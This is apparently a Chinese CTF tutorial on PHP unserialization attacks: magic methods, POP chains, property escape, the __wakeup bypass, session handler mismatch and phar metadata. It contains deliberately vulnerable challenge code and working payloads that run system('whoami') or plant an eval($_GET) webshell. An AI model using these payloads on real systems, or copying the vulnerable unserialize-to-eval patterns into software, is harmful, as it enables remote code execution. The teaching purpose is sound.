.
前言 对常见类型进行序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class MyClass { public $prop1 ; protected $prop2 ; private $prop3 ; public function __construct ($val1 , $val2 , $val3 ) { $this ->prop1 = $val1 ; $this ->prop2 = $val2 ; $this ->prop3 = $val3 ; } } $var1 = null ;$var2 = 123 ;$var3 = 3.14 ;$var4 = true ;$var5 = 'hello, world!' ;$var6 = new MyClass ('foo' , 'bar' , 'baz' );$var7 = ["haha" ,"batman" ,"future" ];$serialized1 = serialize ($var1 );$serialized2 = serialize ($var2 );$serialized3 = serialize ($var3 );$serialized4 = serialize ($var4 );$serialized5 = serialize ($var5 );$serialized6 = serialize ($var6 );$serialized7 = serialize ($var7 );echo "Serialized null: $serialized1 <br>" ;echo "Serialized integer: $serialized2 <br>" ;echo "Serialized float: $serialized3 <br>" ;echo "Serialized boolean: $serialized4 <br>" ;echo "Serialized string: $serialized5 <br>" ;echo "Serialized object: $serialized6 <br>" ;echo "Serialized object: $serialized7 <br>" ;?>
1 2 3 4 5 6 7 Serialized null: N; Serialized integer: i:123; Serialized float: d:3.1400000000000001; Serialized boolean: b:1; Serialized string: s:13:"hello, world!"; Serialized object: O:7:"MyClass":3:{s:5:"prop1";s:3:"foo";s:8:"*prop2";s:3:"bar";s:14:"MyClassprop3";s:3:"baz";} Serialized object: a:3:{i:0;s:4:"haha";i:1;s:6:"batman";i:2;s:6:"future";}
这里说一下对象的反序列化-只会携带成员属性
1 O:7 :"MyClass" :3 :{s:5 :"prop1" ;s:3 :"foo" ;s:8 :"*prop2" ;s:3 :"bar" ;s:14 :"MyClassprop3" ;s:3 :"baz" ;}
1 {s:5 :"prop1" ;s:3 :"foo" ;s:8 :"*prop2" ;s:3 :"bar" ;s:14 :"MyClassprop3" ;s:3 :"baz" ;}
这里成员属性有public,protected,private的区别
1 2 3 4 5 6 7 8 9 public $prop1 ; protected $prop2 ; %00 * %00 1 + 1 + 1 + 5 = 8 private $prop3 ; %00 类名 %00 1 + 7 + 1 + 5 = 14
基础例题 例如一道简单的反序列化题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );error_reporting (0 );class test { public $a = "hahahaha" ; public function displayVar ( ) { eval ($this ->a); } } $c = new test ();$c ->displayVar ();$get = $_GET ["haha" ];$b = unserialize ($get );$b ->displayVar ();?>
这里的思路就是我们利用haha传入反序列化的一个类,类中的成员属性a的值是eval执行的,所以我们以此a = “whoami”,执行下whoami,那么我们实现编写序列化脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class test { public $a = "system('whoami');" ; public function displayVar ( ) { eval ($this ->a); } } $a = new test ();$b = serialize ($a );echo $b ;?>
魔术方法 + 例题
魔术方法在webshell免杀领域很好
1)__ construct() 和 __ destruct()
在实例化对象和销毁对象时触发
2)__ sleep() 和 __ wakeup()
如果在serialize之后检测类中是否存在__ sleep()魔术方法,如果存在,那么该方法会先被调用,然后执行序列化操作
__ wakeup()则相反,是在unserialize的时候会触发
绕过:当
1 2 $data = 'O:7:"MyClass":3:{s:5:"prop1";s:3:"abc";s:5:"prop2";s:3:"def";s:5:"prop3";s:3:"ghi";}' ;这里的3 指的是有3 个成员属性,如果这里大于3 ,那么wakeup魔术方法就不会执行
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file (__FILE__ );error_reporting (0 );class MyClass { public $prop1 ; protected $prop2 ; private $prop3 ; public function __construct ( ) { $this ->prop1 = '' ; $this ->prop2 = '' ; $this ->prop3 = '' ; } public function __wakeup ( ) { echo "对象正在被反序列化...\n" ; $this ->prop1 = 'foo' ; $this ->prop2 = 'bar' ; $this ->prop3 = 'baz' ; } } $data = $_GET ['batman' ];$obj = unserialize ($data );echo $obj ->prop1, "\n" ; echo $obj ->prop2, "\n" ; echo $obj ->prop3, "\n" ; ?>
当为
1 O:7 :"MyClass" :3 :{s:5 :"prop1" ;s:3 :"abc" ;s:5 :"prop2" ;s:3 :"def" ;s:5 :"prop3" ;s:3 :"ghi" ;}
1 http://localhost/webshell.php?batman=O:7:"MyClass":3:{s:5:"prop1";s:3:"abc";s:5:"prop2";s:3:"def";s:5:"prop3";s:3:"ghi";}
wakeup被执行
当为
1 O:7 :"MyClass" :4 :{s:5 :"prop1" ;s:3 :"abc" ;s:5 :"prop2" ;s:3 :"def" ;s:5 :"prop3" ;s:3 :"ghi" ;}
1 http://localhost/webshell.php?batman=O:7:"MyClass":4:{s:5:"prop1";s:3:"abc";s:5:"prop2";s:3:"def";s:5:"prop3";s:3:"ghi";}
wakeup不被执行
2)__ toString() 和 __ invoke()
当类被当成字符串时触发__ toString,当把对象当成函数调用就会触发__ invoke魔术方法
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );error_reporting (0 );class MyClass { private $prop1 ; private $prop2 ; public function __construct ($val1 , $val2 ) { $this ->prop1 = $val1 ; $this ->prop2 = $val2 ; } public function __toString ( ) { return 'MyClass { prop1: ' . $this ->prop1 . ', prop2: ' . $this ->prop2 . ' }' ; } } $obj = new MyClass ('foo' , 'bar' );echo $obj ; ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file (__FILE__ );error_reporting (0 );class MyFunction { public function __invoke ($arg1 , $arg2 ) { return $arg1 + $arg2 ; } } $func = new MyFunction ();echo $func (2 , 3 ); ?>
.
4)__ callStatic()
静态调用或调用成员常量时使用的方法y不存在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file (__FILE__ );error_reporting (0 );class User { public static function __callStatic ($name , $arguments ) { echo "调用了静态方法 $name ,参数为:" . implode (', ' , $arguments ); } } $test = new User ();$test ::callxxx ('a' );?>
5)__ call()
调用一个不存在的方法
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );error_reporting (0 );class MyClass { public function __call ($name , $arguments ) { echo "调用了方法 $name ,参数为:" . implode (', ' , $arguments ); } } $obj = new MyClass ();$obj ->foo ('hello' , 'world' );?>
6)__ get()
调用的成员属性不存在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );error_reporting (0 );class MyClass { private $data = []; public function __get ($name ) { if (isset ($this ->data[$name ])) { return $this ->data[$name ]; } else { return null ; } } } $obj = new MyClass ();$obj ->foo = 'hello' ;echo $obj ->foo; echo $obj ->bar; ?>
7)__ set()
给不存在的成员属性赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );error_reporting (0 );class MyClass { private $data = []; public function __set ($name , $value ) { $this ->data[$name ] = $value ; } } $obj = new MyClass ();$obj ->foo = 'hello' ;echo $obj ->foo; ?>
这里因为__ set执行了所以没有输出foo,否则输出
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );error_reporting (0 );class MyClass { private $data = []; } $obj = new MyClass ();$obj ->foo = 'hello' ;echo $obj ->foo; ?>
8)__ isset()
对不可访问的属性使用isset()或empty()时,__ isset()会被调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );error_reporting (0 );class MyClass { private $data = []; public function __isset ($name ) { echo "123" ; } } $obj = new MyClass ();$obj ->foo = 'hello' ;isset ($obj ->foo); isset ($obj ->bar); ?>
9)__ unset()
对不可访问的属性使用unset()时
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );error_reporting (0 );class MyClass { private $var ; public function __unset ($name ) { echo "123" ; } } $obj = new MyClass ();unset ($obj ->var );?>
10)__ clone()
当使用clone关键字拷贝完成一个对象之后,新对象会自动调用定义的魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );error_reporting (0 );class MyClass { private $var ; public function __clone ( ) { echo "123" ; } } $test = new MyClass ();$newclass = clone ($test );?>
pop链题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php highlight_file (__FILE__ );error_reporting (0 );class index { public $test ; public function __construct ( ) { $this ->test = new normal (); } public function __destruct ( ) { $this ->test->action (); } } class normal { public function action ( ) { echo "hack me" ; } } class evil { var $test2 ; public function action ( ) { eval ($this ->test2); } } $b = unserialize ($_GET ['test' ]);?>
pop解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class index { public $test ; public function __construct ( ) { $this ->test = new evil (); } } class evil { var $test2 = 'system("whoami");' ; } $poc = new index ();echo serialize ($poc );?>
1 http://localhost/webshell.php?test=O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:17:"system("whoami");";}}
invoke魔术方法例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php highlight_file (__FILE__ );error_reporting (0 );class Modifier { public $var ; public function append ($value ) { include ($value ); echo $flag ; } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ unserialize ($_GET ['pop' ]); } ?>
这里我们先分析,如果想echo $flag,则必须需要调用append方法,并传入flag.php,而我们直接通过反序列化是无法直接调用某个具体的方法,需要借助这里的__ invoke魔术方法,$this->append($this->var)
而传入的参数就是$var,通过把对象当成函数去调用就会触发__ invoke魔术方法
那么在哪里可以执行呢?如下,这里return执行的函数就是我们的变量$p,令其等于Modifier
所以我们必须触发__ get魔术方法[调用不存在的成员属性]
那么我们必须触发这个toString魔术方法[当类被当成字符串时触发__ toString]
所以我们这里就要想办法令source等于一个字符串”show”,然后触发wakeup魔术方法就会触发toString魔术方法
那么只要我们利用unserialize进行反序列化就会触发wakeup魔术方法
编写pop脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Modifier { public $var = "webs2.php" ; } class Show { public $source ; public $str ; } class Test { public $p ; } $mod = new Modifier ();$test = new Test ();$test ->p = $mod ;$show = new Show ();$show ->source = $show ;$show ->str = $test ;echo serialize ($show );?>
流程分析:
1 2 3 4 5 6 7 1.当我们生成了反序列化的exp之后,执行unserialize之后,首先调用Show类下的__wakeup魔术方法,这里传值令str = Test,source = Show 2.这样我们在__wakeup魔术方法内echo输出时候将类被当成字符串时触发本类的__toString,在这里return执行return $this->str->source;调用了Test类下的一个不存在的成员属性就会触发__get魔术方法 3.在__get魔术方法中,执行了 $function = $this->p; return $function(); 那么我就令p为Modifier,这样在return执行Modifier()时,将这个类当成函数的方式调用就会触发__invoke魔术方法 4.在__invoke中,执行了$this->append($this->var);,传入的var就是我们包含的文件flag.php
字符串的属性逃逸 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );class A { var $v1 = "a1" ; var $v2 = "1231231231" ; } echo serialize (new A ())."<br>" ;$b = 'O:1:"A":3:{s:2:"v1";s:2:"a1";s:2:"v2";s:10:"1231231231";s:2:"v3";s:4:"flag";}' ;var_dump (unserialize ($b ));?>
这里在满足了反序列化之后的格式规范之后,增加了v3属性,var_dump之后如果原来的值没有则则正常输出
。
;}是结束
如果你的功能正常(属性长度个数都正确),那么其他的不会改变,例如
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );class A { var $v1 = "a1" ; var $v2 = "1231231231" ; } echo serialize (new A ())."<br>" ;$b = 'O:1:"A":3:{s:2:"v1";s:2:"a1";s:2:"v2";s:10:"1231231231";s:2:"v3";s:4:";}ag";}dasdasda' ;var_dump (unserialize ($b ));?>
那么属性逃逸就是一般指数据经过一次serialize之后再unserialize之后,在这个中间反序列化的字符串变多或者变少才有可能存在反序列化的属性逃逸
举例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );error_reporting (0 );class A { public $v1 = "abcsystem()system()system()" ; public $v2 = '1234567";s:2:"v3";N;}";}' ; } $data = serialize (new A ());echo "<br>" ;var_dump (unserialize ($data ));echo "<br>" ;echo $data ."<br>" ;$data = str_replace ("system()" ,"" ,$data );echo $data ."<br>" ;var_dump (unserialize ($data ));
这里,是逃逸前,一共有两个属性
逃逸后,有三个属性
就是利用了将system()字符串去掉之后,要继续找27个字符,即
1 s:27:"abc";s:2:"v2";s:24:"1234567"
后面的字符串就变成下一个
以上就是通过str_replace进行减少,当然也可以增加
增加例题 这个web.php中存在flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($name ) { $safe = array ("flag" ,"php" ); $name = str_replace ($safe ,"hack" ,$name ); return $name ; } class test { var $user ; var $pass = 'daydream' ; function __construct ($user ) { $this ->user = $user ; } } $param = $_GET ['param' ];$param = serialize (new test ($param ));$profile = unserialize (filter ($param ));if ($profile ->pass=="escaping" ){ echo file_get_contents ("web.php" ); }
1 2 3 4 5 6 7 <?php class test { var $user ; var $pass = 'escaping' ; } echo serialize (new test ());
这里我们的$profile是test类的一个对象,需要使它的属性pass等于escaping,这样就会输出包含的web.php得到flag
这里get传param的值会作为生成对象$param的test类的user属性,进行序列化之后再进行反序列化,经过了
filter过滤,这里我们如果想使得daydream等于escaping,就需要利用属性逃逸修改$pass为escaping
1 2 3 4 5 O:4 :"test" :2 :{s:4 :"user" ;N;s:4 :"pass" ;s:8 :"escaping" ;} s:4 :"pass" ;s:8 :"escaping" ;}逃逸部分,一共27 个字符 s:4 :"user" ;N;这个N是我们可控的,我们一共写27 个php + "; 共29个字符 user = phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp" ;s:4 :"pass" ;s:8 :"escaping" ;}
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($name ) { $safe = array ("flag" ,"php" ); $name = str_replace ($safe ,"hack" ,$name ); return $name ; } class test { var $user ; var $pass = 'daydream' ; function __construct ($user ) { $this ->user = $user ; } } $param = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}' ;$param = serialize (new test ($param ));$profile = unserialize (filter ($param ));if ($profile ->pass=="escaping" ){ echo file_get_contents ("web.php" ); }
减少例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($name ) { $safe = array ("flag" ,"php" ); $name = str_replace ($safe ,"hk" ,$name ); return $name ; } class test { var $user ; var $pass ; var $vip = false ; function __construct ($user , $pass ) { $this ->user = $user ; $this ->pass = $pass ; } } $param = $_GET ['user' ];$pass = $_GET ['pass' ];$param = serialize (new test ($param , $pass ));$profile = unserialize (filter ($param ));if ($profile ->vip){ echo file_get_contents ('web.php' ); } ?>
我们这里看到我们get传入的user和pass作为test类的实例化对象的一部分,并不能直接修改vip属性为true,所以我们这里利用到属性减少逃逸
1 2 user = flagflagflagflagflagflagflagflagflagflag pass = 1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($name ) { $safe = array ("flag" ,"php" ); $name = str_replace ($safe ,"hk" ,$name ); return $name ; } class test { var $user ; var $pass ; var $vip = false ; function __construct ($user , $pass ) { $this ->user = $user ; $this ->pass = $pass ; } } $param = "flagflagflagflagflagflagflagflagflagflag" ;$pass = '1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}' ;$param = serialize (new test ($param , $pass ));$profile = unserialize (filter ($param ));if ($profile ->vip){ echo file_get_contents ('web.php' ); } ?>
这里我们执行完这两局赋值之后,传入这两个值,通过序列化后
执行完filter函数之后我们将字符串吞掉一部分,吞掉的那部分就是原来的vip = false的那部分序列化,这样我们传入的新序列化在反序列化的时候被执行,如图
__ wakeup魔术方法绕过 在php<5.6.25 php>7.0.10时
当属性个数大于实际个数就会绕过__ wakeup魔术方法
引用 什么意思呢?就是说如果题目说明让两个内容相等,而且经过了严格的过滤,那么如下
1 2 var $enter = $secret ;var $secret = "flag" ;
这样就可以保证即使$secret被修改你也可以等于
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file (__FILE__ );error_reporting (0 );include ("web.php" );class just4fun { var $enter ; var $secret ; } if (isset ($_GET ['pass' ])){ $pass = $_GET ["pass" ]; $pass = str_replace ('*' ,'\*' ,$pass ); } $o = unserialize ($pass );if ($o ){ $o ->secret = "*" ; if ($o ->secret === $o ->center){ echo "flag is : " .$flag ; }else { echo "sorry" ; } }else { echo "keep going" ; }
这里我们是怕判断$o这个just4fun类的属性enter和secret最后是否相等,我们通过get方式传入了pass之后然后进行反序列化,得到了$o对象,那么构造解题脚本
1 2 3 4 5 6 7 8 9 10 11 <?php class just4fun { var $secret ; var $enter ; } $a = new just4fun ();$a ->enter = &$a ->secret;echo serialize ($a );?>
这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );error_reporting (0 );<?php class just4fun { var $enter ; var $secret ; } $pass = 'O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}' ;$pass = str_replace ('*' ,'\*' ,$pass ); $o = unserialize ($pass ); if ($o ) { $o ->secret = "*" ; if ($o ->secret === $o ->enter) echo "Congratulation! Here is my secret: " .$flag ; else echo "Oh no... You can't fool me" ; } else echo "are you trolling?" ; ?>
Session反序列化 当session_start()被调用或者php.ini中auto_start为1时,php内部调用会话管理器,访问用户session被序列化以后,存储到指令目录,默认是/tmp/
1)方式一
1 2 3 4 5 <?php ini_set ('session.serialize_handler' ,'php' );session_start ();$_SESSION ['man' ] = $_GET ['man' ];?>
2)方式二
1 2 3 4 5 6 <?php ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['batman' ] = $_GET ['batman' ];$_SESSION ['bat' ] = $_GET ['bat' ];?>
2)方式三
1 2 3 4 5 6 <?php ini_set ('session.serialize_handler' ,'php_binary' );session_start ();$_SESSION ['batman' ] = $_GET ['batman' ];$_SESSION ['bat' ] = $_GET ['bat' ]; ?>
例题 页面1
1 2 3 4 5 <?php ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['ben' ] = $_GET ['a' ];?>
页面2
1 2 3 4 5 6 7 8 9 10 <?php ini_set ('session.serialize_handler' ,'php' );session_start ();class D { var $a ; function __destruct ( ) { eval ($this ->a); } } ?>
解题payload:
1 2 3 4 5 6 7 8 <?php class D { var $a = "system('whoami')" ; } echo serialize (new D ());?>
传入a = |O:1:"D":1:{s:1:"a";s:16:"system('whoami')";}
之后,被进行php_serialize版的序列化,得到
s:45:"|O:1:"D":1:{s:1:"a";s:16:"system('whoami')";}";
再访问页面2执行
phar反序列化 1 jar是java桌面开发打包文件的一个格式,而phar是php版的jar,可以用php xxx.phar执行
.
那么如何触发呢?
当我们调用phar伪协议,读取.phar文件时,phar协议在解析文件时,会自动触发对mainfest字段的序列化字符串进行反序列化
1 2 php > 5.2 在php.ini中将phar.readonly设置为off
1 http://localhost/webs2.php?filename=C:\Windows\win.ini
1)生成phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );class Testobj { var $output = "" ; } @unlink ('test123.phar' ); $phar = new Phar ('test123.phar' );$phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER(); ?>' );$o = new Testobj ();$o ->output = 'eval($_GET["a"])' ;$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" ,"test" );$phar ->stopBuffering ();?>
2)例题代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <? highlight_file (__FILE__ );error_reporting (0 );class Testobj { var $output = "echo 'ok'" ; function __destruct ( ) { eval ($this ->output); } } if (isset ($_GET ['filename' ])){ $filename = $_GET ['filename' ]; var_dump (file_exists ($filename )); }
1 filename=test123.phar&a=system("whoami")
简单来说就是如果你的php.ini中关闭了phar.readonly,即设置成Off,那么你就可以指定对应的phar文件(指定的函数有很多比如file_exists),指定之后可以再传递参数来实现phar内部的代码中的文件属性信息进行反序列化执行相关的命令
有些考题喜欢考,你上传一个phar文件,然后你指定这个phar文件,然后传入内容读取flag